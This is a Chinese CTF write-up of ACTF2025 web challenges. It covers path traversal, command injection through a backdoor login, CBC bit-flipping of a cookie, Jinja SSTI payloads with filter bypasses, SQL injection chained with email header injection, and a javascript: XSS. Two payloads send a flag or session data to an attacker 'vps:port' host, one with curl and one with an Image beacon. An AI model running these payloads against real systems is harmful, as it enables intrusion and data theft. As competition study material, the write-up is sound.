ACTF2025 - Web writeup

ACTF2025 - Web writeup

ACTF upload

进去后是一个登录界面,输入用户名后登录,然后到一个文件上传的界面。

/upload?file_path= 处,可以实现任意文件读取,文件内容保存在 img 标签中的 base64 值中。

示例请求:

/upload?file_path=../../../../../../../../etc/passwd

继续读取:

/proc/self/cmdline

得知 app.py 路径,读源码:

import uuid
import os
import hashlib
import base64
from flask import Flask, request, redirect, url_for, flash, sessionapp = Flask(__name__)
app.secret_key = os.getenv('SECRET_KEY')@app.route('/')
def index():if session.get('username'):return redirect(url_for('upload'))else:return redirect(url_for('login'))@app.route('/login', methods=['POST', 'GET'])
def login():if request.method == 'POST':username = request.form['username']password = request.form['password']if username == 'admin':if hashlib.sha256(password.encode()).hexdigest() == '32783cef30bc23d9549623aa48aa8556346d78bd3ca604f277d63d6e573e8ce0': #backdoorsession['username'] = usernamereturn redirect(url_for('index'))else:flash('Invalid password')else:session['username'] = usernamereturn redirect(url_for('index'))else:return '''<h1>Login</h1><h2>No need to register.</h2><form action="/login" method="post"><label for="username">Username:</label><input type="text" id="username" name="username" required><br><label for="password">Password:</label><input type="password" id="password" name="password" required><br><input type="submit" value="Login"></form>'''@app.route('/upload', methods=['POST', 'GET'])
def upload():if not session.get('username'):return redirect(url_for('login'))if request.method == 'POST':f = request.files['file']file_path = str(uuid.uuid4()) + '_' + f.filenamef.save('./uploads/' + file_path)return redirect(f'/upload?file_path={file_path}')else:if not request.args.get('file_path'):return '''<h1>Upload Image</h1><form action="/upload" method="post" enctype="multipart/form-data"><input type="file" name="file"><input type="submit" value="Upload"></form>'''else:file_path = './uploads/' + request.args.get('file_path')if session.get('username') != 'admin':with open(file_path, 'rb') as f:content = f.read()b64 = base64.b64encode(content)return f'<img src="data:image/png;base64,{b64.decode()}" alt="Uploaded Image">'else:os.system(f'base64 {file_path} > /tmp/{file_path}.b64')# with open(f'/tmp/{file_path}.b64', 'r') as f:#     return f'<img src="data:image/png;base64,{f.read()}" alt="Uploaded Image">'return 'Sorry, but you are not allowed to view this image.'if __name__ == '__main__':app.run(host='0.0.0.0', port=5000)

/upload 接口处,如果验证登录名为 admin 就可以进入 os.system 命令执行。

/login 接口处,如果账号为 admin,密码为 backdoor(md5 值为 32783cef30bc23d9549623aa48aa8556346d78bd3ca604f277d63d6e573e8ce0)即可登录 admin 账户。

admin 登录后,访问:

/upload?file_path=`ls / > /tmp/1.txt`

ls / 的内容写入 /tmp/1.txt

再访问:

/upload?file_path=../../../../../../../../tmp/1.txt

发现有个 Fl4g_is_H3r3

再访问:

/upload?file_path=../../../../../../../../Fl4g_is_H3r3

把 base64 的值解码即得到 flag


not so web 1

一进去是 Base64 编码的字符串,解密后是源代码。

代码审计发现可以先使用 CBC 翻转攻击 修改用户名,然后利用 SSTI 漏洞。

我们注册账号如下:

  • 用户名:zdmin
  • 密码:123456

然后复制 Cookie 并解密:

import base64
import binasciicookie = "wwMdpFGo0LWQaPsH8s2DiP+tBCDjt/Y/odSHX5NNjaycaLYsPZjrXB+1f6X1R/42nqHM+zh2JW2FuSxy5wGOkZQ57oKGceHy3u9nxPIq7h61Bgdd3zkVBbHZumF+hHGG"
decoded_data = base64.b64decode(cookie)iv = decoded_data[:16]
encrypted = decoded_data[16:]
print(decoded_data)
print(decoded_data.hex())
print("IV (hex):", iv.hex())
print("Encrypted (hex):", encrypted.hex())

运行脚本得到:

c3031da451a8d0b59068e007f2cd8388ffad0420e3b7f63fa1d4875f934d8dac9c68b62c3d98eb5c1fb57fa5f547fe369ea1ccfb3876256d85b92c72e7018e919439ee828671e1f2deef67c4f22aee1eb506075ddf391505b1d9ba617e847186
IV (hex): c3 03 1d a4 51 a8 d0 b5 90 68 fb 07f2cd8388
Encrypted (hex): ffad0420e3b7f63fa1d4875f934d8dac9c68b62c3d98eb5c1fb57fa5f547fe369ea1ccfb3876256d85b92c72e7018e919439ee828671e1f2deef67c4f22aee1eb506075ddf391505b1d9ba617e847186

根据本地尝试数据:

{"name": "zdmin", "password_raw": "123456", "register_time": 1745636131}

应该在第 11 字节处将 z 改为 a,变为 admin

执行异或计算:

cipher_11_hex = "fb"  
cipher_11_dec = int(cipher_11_hex, 16)  # 转为十进制
print(cipher_11_dec)# 计算异或结果
result_dec = cipher_11_dec ^ ord('z') ^ ord('a')
result_hex = hex(result_dec)# 输出结果
print(f"cipher[11] (hex): 0x{cipher_11_hex}")
print(f"ord('z'): {ord('z')} (0x{ord('z'):02x})")
print(f"ord('a'): {ord('a')} (0x{ord('a'):02x})")
print(f"Result (decimal): {result_dec}")
print(f"Result (hex): {result_hex}")  
print(f"Result as char: {chr(result_dec)}")

重新构造并输出新的 Cookie:

a = "c3031da451a8d0b59068e007f2cd8388ffad0420e3b7f63fa1d4875f934d8dac9c68b62c3d98eb5c1fb57fa5f547fe369ea1ccfb3876256d85b92c72e7018e919439ee828671e1f2deef67c4f22aee1eb506075ddf391505b1d9ba617e847186"
a_bytes = binascii.unhexlify(a)  # 转为 bytes
b = base64.b64encode(a_bytes).decode()  # Base64 编码并转为字符串
print(b)

对比发现修改了一个字节:

原 Cookie:
wwMdpFGo0LWQaPsH8s2DiP+tBCDjt/Y/odSHX5NNjaycaLYsPZjrXB+1f6X1R/42nqHM+zh2JW2FuSxy5wGOkZQ57oKGceHy3u9nxPIq7h61Bgdd3zkVBbHZumF+hHGG修改后:
wwMdpFGo0LWQaOAH8s2DiP+tBCDjt/Y/odSHX5NNjaycaLYsPZjrXB+1f6X1R/42nqHM+zh2JW2FuSxy5wGOkZQ57oKGceHy3u9nxPIq7h61Bgdd3zkVBbHZumF+hHGG

之后触发 SSTI 漏洞:

?payload={{url_for.__globals__.os.popen("cat flag.txt").read()}}

以下是你提供内容的纯格式整理版 Markdown,仅调整结构与格式,未增删任何原始信息:


not so web 2

发现 parse_cookie 函数的问题,验签函数核心在于:

PKCS1_v1_5.new(public_key).verify(msg_hash, sig)

但查看文档得知:

也就是说,如果签名有效,方法正常返回;如果签名无效,方法会抛出 ValueErrorTypeError 异常。

因此,该函数并没有实际的验签逻辑,只是判断签名是否有效。

我们只需要将用户名改为 admin 并保证签名有效即可通过验证,之后仍然可以触发 SSTI 漏洞。

Payload 1:

{{ lipsum["\x5f\x5fglobals\x5f\x5f"].os.popen("ls").read() }}

Payload 2:

{{ lipsum|attr("\u005f\u005fglobals\u005f\u005f")|attr("\u005f\u005fgetitem\u005f\u005f")("os")|attr("popen")("cat flag.txt")|attr("read")() }}

Excellent-Site

题目描述
127.0.0.1 ezmail.org(意思是配置了hosts)

附件如下:

import smtplib 
import imaplib
import email
import sqlite3
from urllib.parse import urlparse
import requests
from email.header import decode_header
from flask import *app = Flask(__name__)def get_subjects(username, password):imap_server = "ezmail.org"imap_port = 143try:mail = imaplib.IMAP4(imap_server, imap_port)mail.login(username, password)mail.select("inbox")status, messages = mail.search(None, 'FROM "admin@ezmail.org"')if status != "OK":return ""subject = ""latest_email = messages[0].split()[-1]status, msg_data = mail.fetch(latest_email, "(RFC822)")for response_part in msg_data:if isinstance(response_part, tuple):msg = email.message_from_bytes(response_part[1])subject, encoding = decode_header(msg["Subject"])[0]if isinstance(subject, bytes):subject = subject.decode(encoding if encoding else 'utf-8')mail.logout()return subjectexcept:return "ERROR"def fetch_page_content(url):try:parsed_url = urlparse(url)if parsed_url.scheme != 'http' or parsed_url.hostname != 'ezmail.org':return "SSRF Attack!"response = requests.get(url)if response.status_code == 200:return response.textelse:return "ERROR"except:return "ERROR"@app.route("/report", methods=["GET", "POST"])
def report():message = ""if request.method == "POST":url = request.form["url"]content = request.form["content"]smtplib._quote_periods = lambda x: xmail_content = """From: ignored@ezmail.org\r\nTo: admin@ezmail.org\r\nSubject: {url}\r\n\r\n{content}\r\n.\r\n"""try:server = smtplib.SMTP("ezmail.org")mail_content = smtplib._fix_eols(mail_content)mail_content = mail_content.format(url=url, content=content)server.sendmail("ignored@ezmail.org", "admin@ezmail.org", mail_content)message = "Submitted! Now wait till the end of the world."except:message = "Send FAILED"return render_template("report.html", message=message)@app.route("/bot", methods=["GET"])
def bot():requests.get("http://ezmail.org:3000/admin")return "The admin is checking your advice(maybe)"@app.route("/admin", methods=["GET"])
def admin():ip = request.remote_addrif ip != "127.0.0.1":return "Forbidden IP"subject = get_subjects("admin", "p@ssword")if subject.startswith("http://ezmail.org"):page_content = fetch_page_content(subject)return render_template_string(f"""<h2>Newest Advice(from myself)</h2><div>{page_content}</div>""")return ""@app.route("/news", methods=["GET"])
def news():news_id = request.args.get("id")if not news_id:news_id = 1conn = sqlite3.connect("news.db")cursor = conn.cursor()cursor.execute(f"SELECT title FROM news WHERE id = {news_id}")result = cursor.fetchone()conn.close()if not result:return "Page not found.", 404return result[0]@app.route("/")
def index():return render_template("index.html")if __name__ == "__main__":app.run(host="0.0.0.0", port=3000)

/news 这里有 SQL 注入,sqlmap跑了一遍,数据库里没有什么有效信息。

一开始,思路主要集中在绕过waf上,但后来才想出来这里的每一个接口都是有用的

1、通过/news可以构造返回值为任意字符,进而构造SSTI payload(从而绕过了fetch_page_content函数)
http://ezmail.org:3000/news?id=-1 UNION SELECT '{{lipsum.__globals__.os.popen("cat /flag > app.py").read()}}'

2、将构造好的payload在/report接口出以url参数替换SMTP协议部分的subject部分(payload中还需要用Resent-From头来绕过发件人为admin@ezmail.org这个限制)

3、访问/bot触发SSTI,命令执行

为了正确地处理邮件的收发,我们还需要在本地搭建一个邮件服务器:

# 使用 Docker 快速部署邮件服务器
docker run -d --name ctfmail4 \-p 25:25 \-e SMTP_SERVER=ezmail.org \-e SMTP_USERNAME=admin@ezmail.org \-e SMTP_PASSWORD='p@ssword' \-e SERVER_HOSTNAME=mail.ezmail.org \juanluisbaptiste/postfix:latest

改造后的app.py,便于本地测试

import logging
import smtplib 
import imaplib
import email
import sqlite3
from urllib.parse import urlparse
import requests
from email.header import decode_header
from flask import *app = Flask(__name__)
# app.logger.setLevel(logging.DEBUG)def get_subjects(username, password):imap_server = "ezmail.org"imap_port = 143try:mail = imaplib.IMAP4(imap_server, imap_port)mail.login(username, password)mail.select("inbox")status, messages = mail.search(None, 'FROM "admin@ezmail.org"')if status != "OK":return ""subject = ""latest_email = messages[0].split()[-1]status, msg_data = mail.fetch(latest_email, "(RFC822)")for response_part in msg_data:if isinstance(response_part, tuple):msg = email.message_from_bytes(response_part  [1])subject, encoding = decode_header(msg["Subject"])  [0]if isinstance(subject, bytes):subject = subject.decode(encoding if encoding else 'utf-8')mail.logout()return subjectexcept:return "ERROR"#解析url,当url满足 http & hostname=ezmail.org时,访问url,返回网页内容
def fetch_page_content(url):try:parsed_url = urlparse(url)if parsed_url.scheme != 'http' or parsed_url.hostname != 'ezmail.org':return "SSRF Attack!"response = requests.get(url)if response.status_code == 200:return response.textelse:return "ERROR"except:return "ERROR"@app.route("/admin", methods=["GET"])
def admin():print('admin1')ip = request.remote_addrif ip != "127.0.0.1":return "Forbidden IP"subject = get_subjects("admin", "p@ssword")if subject.startswith("http://ezmail.org"):page_content = fetch_page_content(subject)return render_template_string(f"""<h2>Newest Advice(from myself)</h2><div>{page_content}</div>""")return ""@app.route("/ssti", methods=["GET"])
def admin1():page_content = request.args.get("c")return render_template_string(f"""<h2>Newest Advice(from myself)</h2><div>{page_content}</div>""")@app.route("/report", methods=["GET", "POST"])
def report():message = ""if request.method == "POST":url = request.form["url"]content = request.form["content"]smtplib._quote_periods = lambda x: xmail_content = """From: ignored@ezmail.org\r\nTo: admin@ezmail.org\r\nSubject: {url}\r\n\r\n{content}\r\n.\r\n"""try:server = smtplib.SMTP("localhost", 1026)mail_content = smtplib._fix_eols(mail_content)mail_content = mail_content.format(url=url, content=content)print(f"mail_content is : {mail_content}")server.sendmail("ignored@ezmail.org", "admin@ezmail.org", mail_content)return mail_contentmessage = "Submitted! Now wait till the end of the world."except:message = "Send FAILED"return render_template("report.html", message=message)@app.route("/bot", methods=["GET"])
def bot():requests.get("http://ezmail.org:3000/admin")return "The admin is checking your advice(maybe)"@app.route("/test", methods=["POST"])
def fetch_page_contentTEST():url = request.form.get("url", "")print(f"[DEBUG] 收到的URL: {url}")try:parsed_url = urlparse(url)print(f"[DEBUG] 解析后的URL: {parsed_url}")print(f"[DEBUG] Scheme: {parsed_url.scheme}")print(f"[DEBUG] Hostname: {parsed_url.hostname}")if parsed_url.scheme != 'http' or parsed_url.hostname != 'ezmail.org':print("[DEBUG] URL检测不通过,返回SSRF Attack!")return "SSRF Attack!"print(f"[DEBUG] 发送请求到: {url}")response = requests.get(url)print(f"[DEBUG] 返回状态码: {response.status_code}")if response.status_code == 200:print("[DEBUG] 成功拿到网页内容")return response.textelse:print("[DEBUG] 请求失败,状态码非200")return "ERROR"except Exception as e:print(f"[DEBUG] 出现异常: {e}")return "ERROR"#数据库查询
@app.route("/news", methods=["GET"])
def news():# return '123444'news_id = request.args.get("id")if not news_id:news_id = 1conn = sqlite3.connect("news.db")cursor = conn.cursor()cursor.execute(f"SELECT title FROM news WHERE id = {news_id}")result = cursor.fetchone()conn.close()if not result:return "Page not found.", 404return result[0]@app.route("/")
def index():return render_template("index.html")if __name__ == "__main__":app.run(host="0.0.0.0", port=3000,debug=True)

最后的payload如下:
(注意payload中的端口3000,十分致命)

import time
import requestsurl = "题目地址"# SSTI Payload
payload = "{{lipsum.__globals__.os.popen(\"curl%20http://vps:port/`cat /flag|base64`\").read()}}"
# 邮件头注入
subject = f"http://ezmail.org:3000/news?id=-1 UNION SELECT '{payload}'\r\nFrom: admin@ezmail.org\r\nResent-From: admin@ezmail.org"data = {"url": subject, "content": ""}
res_1 = requests.post(f"{url}/report", data=data)
res_2 = requests.get(f"{url}/bot")print('done.')

eznote

js伪协议

app.js

const express = require('express')
const session = require('express-session')
const { randomBytes } = require('crypto')
const fs = require('fs')
const spawn = require('child_process')
const path = require('path')
const { visit } = require('./bot')
const createDOMPurify = require('dompurify');
const { JSDOM } = require('jsdom');const DOMPurify = createDOMPurify(new JSDOM('').window);const LISTEN_PORT = 3000
const LISTEN_HOST = '0.0.0.0'const app = express()app.set('views', './views')
app.set('view engine', 'html')
app.engine('html', require('ejs').renderFile)app.use(express.urlencoded({ extended: true }))app.use(session({secret: randomBytes(4).toString('hex'),saveUninitialized: true,resave: true,}))app.use((req, res, next) => {if (!req.session.notes) {req.session.notes = []}next()
})const notes = new Map()setInterval(() => { notes.clear() }, 60 * 1000);function toHtml(source, format){if (format == undefined) {format = 'markdown'}let tmpfile = path.join('notes', randomBytes(4).toString('hex'))fs.writeFileSync(tmpfile, source)let res = spawn.execSync(`pandoc -f ${format} ${tmpfile}`).toString()// fs.unlinkSync(tmpfile)return DOMPurify.sanitize(res)
}app.get('/ping', (req, res) => {res.send('pong')
})app.get('/', (req, res) => {res.render('index', { notes: req.session.notes })
})app.get('/notes', (req, res) => {res.send(req.session.notes)
})app.get('/note/:noteId', (req, res) => {let { noteId } = req.paramsif(!notes.has(noteId)){res.send('no such note')return} let note = notes.get(noteId)res.render('note', note)
})app.post('/note', (req, res) => {let noteId = randomBytes(8).toString('hex')let { title, content, format } = req.bodyif (!/^[0-9a-zA-Z]{1,10}$/.test(format)) {res.send("illegal format!!!")return}notes.set(noteId, {title: title,content: toHtml(content, format)})req.session.notes.push(noteId)res.send(noteId)
})app.get('/report', (req, res) => {res.render('report')
})app.post('/report', async (req, res) => {let { url } = req.bodytry {await visit(url)res.send('success')} catch (err) {console.log(err)res.send('error')}
})app.listen(LISTEN_PORT, LISTEN_HOST, () => {console.log(`listening on ${LISTEN_HOST}:${LISTEN_PORT}`)
})

bot.js

const puppeteer = require('puppeteer')
const process = require('process')
const fs = require('fs')const FLAG = (() => {let flag = 'flag{test}'if (fs.existsSync('flag.txt')){flag = fs.readFileSync('flag.txt').toString()fs.unlinkSync('flag.txt')} return flag
})()const HEADLESS = !!(process.env.PROD ?? false)const sleep = (sec) => new Promise(r => setTimeout(r, sec * 1000))async function visit(url) {let browser = await puppeteer.launch({headless: HEADLESS,// executablePath: '/usr/bin/chromium',args: ['--no-sandbox'],})let page = await browser.newPage()await page.goto('http://localhost:3000/')await page.waitForSelector('#title')await page.type('#title', 'flag', {delay: 100})await page.type('#content', FLAG, {delay: 100})await page.click('#submit', {delay: 100})await sleep(3)console.log('visiting %s', url)await page.goto(url)await sleep(30)await browser.close()
}module.exports = {visit
}

flag在bot.js的visit函数中作为content的值回显

async function visit(url) {let browser = await puppeteer.launch({headless: HEADLESS,// executablePath: '/usr/bin/chromium',args: ['--no-sandbox'],})let page = await browser.newPage()await page.goto('http://localhost:3000/')await page.waitForSelector('#title')await page.type('#title', 'flag', {delay: 100})await page.type('#content', FLAG, {delay: 100})await page.click('#submit', {delay: 100})await sleep(3)console.log('visiting %s', url)await page.goto(url)await sleep(30)await browser.close()
}

而app.js中的/report接口调用了visit函数,

app.post('/report', async (req, res) => {let { url } = req.bodytry {await visit(url)res.send('success')} catch (err) {console.log(err)res.send('error')}
})

逻辑:访问/report接口,服务器会先提交一份包含flag的笔记(但笔记对应的noteid未知),然后访问传入的url。

只要获取到对应的noteid,就获取到了flag

可以在 /report 中提交url 参数,利用javascript伪协议,通过 xss 访问/notes接口,获得 bot 的 noteId ,从而获得 flag

payload:

javascript:fetch('/notes').then(r=>r.text()).then(d=>{new Image().src='http://vps:port/?data='+encodeURIComponent(d)})

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/web/79139.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

BERT模型讲解

BERT的模型架构 BERT: Bidirectional Encoder Representations from Transformers BERT这个名称直接反映了&#xff1a;它是一个基于Transformer编码器的双向表示模型。BERT通过堆叠多层编码器来构建深度模型。举例来说&#xff1a; BERT-Base&#xff1a;堆叠了12层Encoder&a…

权限控制模型全解析:RBAC、ACL、ABAC 与现代混合方案

权限控制模型全解析&#xff1a;RBAC、ACL、ABAC 与现代混合方案 在企业信息系统、SaaS 应用、安全平台中&#xff0c;权限控制模型是确保用户访问安全和功能隔离的基础架构设计之一。本文将系统性梳理常见的权限控制模型&#xff0c;包括 RBAC、ACL、ABAC、DAC、MAC、ReBAC 等…

一些模型测试中的BUG和可能解决方法

一些模型测试中的BUG和可能解决方法 模型一直重复反馈相同内容的问题查找思路 如下顺序也是排查优先级 检查提示词和上下文,保证提示词中没有类似的要求,然后再查看上下文是不是占满了token长度。检查一下选择的model是不是本身就有这样的问题尝试增加repeat_penalty(1.05、…

Kafka的Log Compaction原理是什么?

Kafka的Log Compaction&#xff08;日志压缩&#xff09;是一种独特的数据保留策略&#xff0c;其核心原理是保留每个key的最新有效记录。以下是关键原理分点说明&#xff1a; 1. 键值保留机制 通过扫描所有消息的key&#xff0c;仅保留每个key对应的最新value值。例如&#…

在 MyBatis 中实现控制台输出 SQL 参数

在 MyBatis 中实现控制台输出 SQL 参数&#xff0c;可通过以下方案实现&#xff1a; # 一、使用 MyBatis-Plus 的 SqlLogInterceptor&#xff08;推荐&#xff09; ‌适用场景‌&#xff1a;项目已集成 MyBatis-Plus&#xff08;3.5.3版本&#xff09; ‌配置步骤‌&#xff…

黄金、碳排放期货市场API接口文档

StockTV 提供了多种期货市场的数据接口&#xff0c;包括获取K线图表数据、查询特定期货的实时行情等。以下为对接期货市场的详细接口说明。 一、获取K线图表数据 通过调用/futures/kline接口&#xff0c;您可以获取指定期货合约的历史K线数据&#xff08;例如开盘价、最高价、…

“ES7+ React/Redux/React-Native snippets“常用快捷前缀

请注意&#xff0c;这是一个常用的列表&#xff0c;不是扩展提供的所有前缀。最完整和最新的列表请参考扩展的官方文档或在 VS Code 中查看扩展的详情页面。 React (通常用于 .js, .jsx, .ts, .tsx): rfce: React Functional Component with Export Defaultrafce: React Arro…

[Windows] 能同时打开多个图片的图像游览器JWSEE v2.0

[Windows] 能同时打开多个图片的图像游览器JWSEE 链接&#xff1a;https://pan.xunlei.com/s/VOPpO86Hu3dalYLaZ1ivcTGIA1?pwdhckf# 十多年前收藏的能同时打开多个图片的图像游览器JWSEE v2.0&#xff0c;官网已没有下载资源。 JWSEE v2.0是乌鲁木齐金维图文信息科技有限公司…

[AI Tools] Dify 工具插件上传指南:如何将插件发布到官方市场

Dify 作为开源的 LLM 应用开发平台,不仅支持本地化插件开发,也提供了插件市场机制,让开发者能够将自己构建的插件发布并供他人使用。本文将详细介绍如何将你开发的 Dify Tools 插件上传至官方插件市场,包括 README 编写、插件打包、仓库 PR 等核心步骤。 一、准备 README 文…

gradle3.5的安装以及配置环境变量

下载资源 Gradle |释放 往下滑找到3.5版本&#xff0c;有条件的翻译一下 这是原文点击下载后解压 随后配置环境变量 变量名 GRADLE_HOME 变量值为bin路径 配置path环境 win11直接添加%GRADLE_HOME%\bin 随后进入命令提示符 输入gradle -v 能看到版本号即为成功

单片机开发基础与高效流程

单片机开发涉及硬件与软件的紧密协作&#xff0c;是嵌入式系统的核心技术之一。以下从开发流程、调试技巧、代码优化等方面详细阐述高效开发方法。 一、开发环境搭建与配置 选择合适的开发工具链是高效开发的基础。以 STM32 为例&#xff0c;常用工具包括&#xff1a; IDE 选…

大模型系列(四)--- GPT2: Language Models are Unsupervised Multitask Learners​

论文链接&#xff1a; Language Models are Unsupervised Multitask Learners 点评&#xff1a; GPT-2采用了与GPT-1类似的架构&#xff0c;将参数规模增加到了15亿&#xff0c;并使用大规模的网页数据集WebText 进行训练。正如GPT-2 的论文所述&#xff0c;它旨在通过无监督语…

数字孪生[IOC]常用10个技术栈(总括)

1. 什么是数字孪生&#xff1f; 数字孪生&#xff08;Digital Twin&#xff09; 是通过数字化技术对物理实体&#xff08;如设备、系统或环境&#xff09;进行高精度建模和实时映射的虚拟副本。其核心是通过 数据驱动 实现物理世界与虚拟世界的双向交互&#xff0c;支持实时监控…

cnas软件检测实验室质量管理体系文件思维导图,快速理清全部文件

软件检测实验室在申请CNAS资质时&#xff0c;需要根据认可文件的要求&#xff0c;建立实验室质量管理体系&#xff0c;明晰地展示组织架构、合理地安排人员岗位职责和能力要求、全面地覆盖认可文件要求的质量要素。这是一项非常庞大的工作&#xff0c;涉及到的文件类型非常多&a…

[Windows] 东芝存储诊断工具1.30.8920(20170601)

[Windows] 东芝存储诊断工具 链接&#xff1a;https://pan.xunlei.com/s/VOPpMjGdWZOLceIjxLNiIsIEA1?pwduute# 适用型号 东芝消费类存储产品&#xff1a; 外置硬盘&#xff1a;Canvio 系列 内置硬盘&#xff1a;HDW****&#xff08;E300 / N300 / P300 / S300 / V300 / X30…

C++ learning day 01

目录 1. iostream : 2.第一个C++程序 3. 执行过程以及以上例子详解(以上例子为参考) 1. iostream : 全称: input/output stream library 作用: 用于处理输入输出操作 2.第一个C++程序 #include <iostream>int main() {std::cout << "Hello World! &qu…

单位代码签名证书是什么?如何申请?

软件安全已成为企业不可忽视的核心话题&#xff0c;当用户下载企业级软件时&#xff0c;若遇到“未知发布者”的警告弹窗&#xff0c;很可能是由于软件未进行数字签名所致。这种看似简单的提示背后&#xff0c;隐藏着巨大的安全隐患与信任危机。而单位代码签名证书&#xff0c;…

《Zabbix Proxy分布式监控实战:从安装到配置全解析》

注意&#xff1a;实验所需的zabbix服务器的搭建可参考博客 zabbix 的docker安装_docker安装zabbix-CSDN博客 1.1 实验介绍 1.1.1 实验目的 本实验旨在搭建一个基于Zabbix的监控系统&#xff0c;通过安装和配置Zabbix Proxy、MySQL数据库以及Zabbix Agent&#xff0c;实现分…

泛型设计模式实践

学海无涯&#xff0c;志当存远。燃心砺志&#xff0c;奋进不辍。 愿诸君得此鸡汤&#xff0c;如沐春风&#xff0c;事业有成。 若觉此言甚善&#xff0c;烦请赐赞一枚&#xff0c;共励学途&#xff0c;同铸辉煌&#xff01; 为解决在设计框架或库时遇到的类型安全问题&#xff…

【kafla扫盲】FROM GPT

Kafka 扫盲指南&#xff1a;分布式流处理利器 Apache Kafka 是一个分布式流处理平台&#xff0c;最早由 LinkedIn 开发&#xff0c;后来开源并捐赠给 Apache 基金会。Kafka 专为高吞吐量、低延迟的实时数据流处理而设计&#xff0c;广泛用于日志收集、实时分析、消息队列、流处…